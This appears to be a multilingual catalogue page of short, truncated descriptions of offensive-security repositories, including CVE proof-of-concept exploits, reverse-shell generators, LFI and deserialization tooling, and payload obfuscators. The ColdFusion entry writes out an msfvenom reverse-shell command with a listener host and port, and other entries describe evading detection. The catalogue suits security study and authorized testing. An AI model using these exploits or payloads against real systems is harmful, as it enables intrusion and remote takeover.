CVE-2019-0708-POC

CVE-2019-0708-POC Prova de conceito funcional para CVE-2019-0708, gera shell remoto. Execute com python3, Exemplo python3 CVE-2019-0708-windows.py Versões diferentes são necessárias para linux e Windows. Ofuscado por razões óbvias...

odat

Quentin HARDY --- [email protected] [email protected] ODAT ODAT Oracle Database Angriffswerkzeug ist ein Open-Source Penetrationstest -Werkzeug, das die Sicherheit von Oracle Datenbanken remote testet. Anwendungsbeispiele von ODAT: Sie haben eine Oracle-Datenbank, die remote lauscht, un...

gimmeSH

gimmeSH Für Pentester, die ihr Terminal nicht verlassen wollen. Ein paar Worte gimmeSH ist ein Tool, das eine benutzerdefinierte Cheatsheet für Reverse Shell, File Transfer und Msfvenom in Ihrem Terminal generiert. Sie müssen nur die Plattform, Ihre IP-Adresse und Ihre Portnummer angeben...

MemShellParty

MemShellParty 中文 | English !WARNING Dieses Tool ist ausschließlich für autorisierte Sicherheitstests, Schwachstellenbewertungen und Sicherheitsaudits durch Sicherheitsforscher, Netzwerkadministratoren und zugehöriges technisches Personal bestimmt. Jegliche unbefugte Nutzung dieses Tools für...

LFI-Destruction

🔥 LFI-Destruction – Framework per Penetration Testing Autorizzato LFI-Destroyer è un framework completo e modulare per lo sfruttamento di Local File Inclusion LFI progettato per professionisti della sicurezza autorizzati. Combina molteplici tecniche di attacco in un unico strumento facile da usar...

CVE-2023-26360-RCE

CVE-2023-26360 - Esecuzione di codice remoto su ColdFusion 2021 A volte, gli script non funzionano al primo tentativo. Prova alcune volte per farli funzionare Come eseguire Creare un payload con msfvenom msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java Avviare server.py...

through_the_wire

Durch den Draht Durch den Draht ist ein Proof-of-Concept-Exploit für CVE-2022-26134, eine OGNL-Injection-Sicherheitslücke, die Atlassian Confluence Server und Data Center in den Versionen = 7.13.6 LTS und = 7.18.0 "Latest" betrifft. Ursprünglich handelte es sich um eine Zero-Day-Schwachstelle, di...

nmapAutomator

nmapAutomator Uno script che puoi eseguire in background! Sommario L'obiettivo principale di questo script è automatizzare il processo di enumerazione e ricognizione che viene eseguito ogni volta, e concentrare invece la nostra attenzione sul pentesting reale. Questo garantirà due cose: 1...

JSShell

JSShell 2.0 Una shell JavaScript interattiva multi-utente basata sul web. È stata creata inizialmente per eseguire il debug di browser esoterici remoti durante esperimenti e ricerche. Questo strumento può essere facilmente allegato a payload XSS Cross Site Scripting per ottenere l'esecuzione remo...

webhandler

WebHandler Un handler per le funzioni di sistema di PHP e anche un'alternativa a 'netcat' Informazioni WebHandler tenta di simulare un 'prompt bash di Linux' per gestire ed elaborare: - Funzioni di esecuzione di programmi PHP ad es. system, passthru, exec, ecc. - Connessioni bind shell -...

Invoke-PSObfuscation

Invoke-PSObfuscation Le tecniche di offuscamento tradizionali tendono ad aggiungere livelli per incapsulare il codice esistente, come base64 o compressione. Questi payload continuano ad avere un variabile grado di successo, ma sono diventati banali da estrarre per ottenere il payload previsto e...

SharpSploitConsole

Console di SharpSploit Applicazione console progettata per interagire con SharpSploit rilasciato da @cobbrio https://github.com/cobbr/SharpSploit SharpSploit è uno strumento scritto da @cobbrio che combina molte tecniche/codice C provenienti dalla comunità della sicurezza informatica e le riunisc...

Narthex

Narthex Narthex Greco: Νάρθηξ, νάρθηκας è un generatore di dizionari modulare e minimale per sistemi Unix e Unix-like scritto in C e Shell. Contiene programmi autonomi in stile Unix per la creazione di dizionari personalizzati che possono essere utilizzati per il recupero delle password e la...

WebLogic-Shiro-shell

Condivisione tecnica sulla deserializzazione Java Questa condivisione riguarda i seguenti punti: 1. Basi di serializzazione e deserializzazione Java 2. Perché si verificano vulnerabilità durante la deserializzazione? 3. Riflessione Java 4. ysoserial CommonsCollections2、CommonsCollections5 5...

CVE-2025-32463_POC

CVE-2025-32463 – sudo chroot "chwoot" PoC Questo repository fornisce un ambiente minimale e riproducibile per dimostrare la vulnerabilità di escalation dei privilegi CVE‑2025‑32463 nella funzionalità chroot di sudo. Contenuti File| Scopo ---|--- Dockerfile| Crea un'immagine Ubuntu 24.04 con sudo...

powerglot

Powerglot Powerglot encodes several kind of scripts using polyglots, for example, offensive powershell scripts. It is not needed a loader to run the payload. In red-team exercises or offensive tasks, masking of payloads is usually done by using steganography, especially to avoid network level...

Platypus

Platypus Ein Host-Management-Hub für Flotten von Linux-Maschinen. Installieren Sie den Platypus-Agenten auf jedem Host, den Sie besitzen; der Agent baut eine Verbindung zu Ihrem Platypus-Server über TLS + Protobuf auf; vom Server aus erhalten Sie eine interaktive Shell, Dateiverwaltung und...

x64dbg

x64dbg An open-source binary debugger for Windows, aimed at malware analysis and reverse engineering of executables you do not have the source code for. There are many features available and a comprehensive plugin system to add your own. You can find more information on the blog! Screenshots |...

ssh-mitm

SSH-MITM - ssh audits made simple An interactive SSH interception tool for authorized security audits. Intercept sessions, monitor live traffic, inject commands, and manipulate file transfers — all in real time. !Follow me on...

CVE-2025-14700-poc

CVE-2025-14700 POC Exploit automatico per RCE autenticata in Crafty Controller --login --password --lhost --lport Questo script usa netcat per impostare un listener dopo aver attivato il payload della reverse shell; non funzionerà se non hai netcat sulla macchina listener...